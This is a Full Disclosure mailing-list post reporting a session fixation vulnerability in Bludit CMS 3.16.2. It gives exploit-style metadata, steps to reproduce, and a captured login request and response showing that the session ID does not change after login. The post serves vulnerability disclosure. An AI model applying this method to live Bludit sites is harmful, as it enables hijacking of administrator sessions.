full-disclosure - [FD] Session Fixation

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Message-ID: <CAF2Wu1Z+dzrOQmprS7UXRb0h9cMML7G0RMS6A1LkVBj70qPnjQ@mail.gmail.com>
Date: Sun, 6 Jul 2025 22:47:44 +0100
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Session Fixation - bluditv3.16.2

# Exploit Title:  Session Fixation - bluditv3.16.2
# Date: 07/2025
# Exploit Author: Andrey Stoykov
# Version: 3.16.2
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Session Fixation #1:

Steps to Reproduce:

Visit the login page. Login with valid user and observe that the sessionID
has not been changed

// HTTP POST request logging in

POST /bludit/admin/ HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0)
Gecko/20100101 Firefox/140.0
[...]

tokenCSRF=551bee4a6e6d065481ec1d29d9b37335475ae1d0&username=admin&password=password&save=

// HTTP response

HTTP/1.1 301 Moved Permanently
Date: Tue, 03 Jun 2025 20:34:36 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: Bludit
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Location: /bludit/admin/dashboard
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
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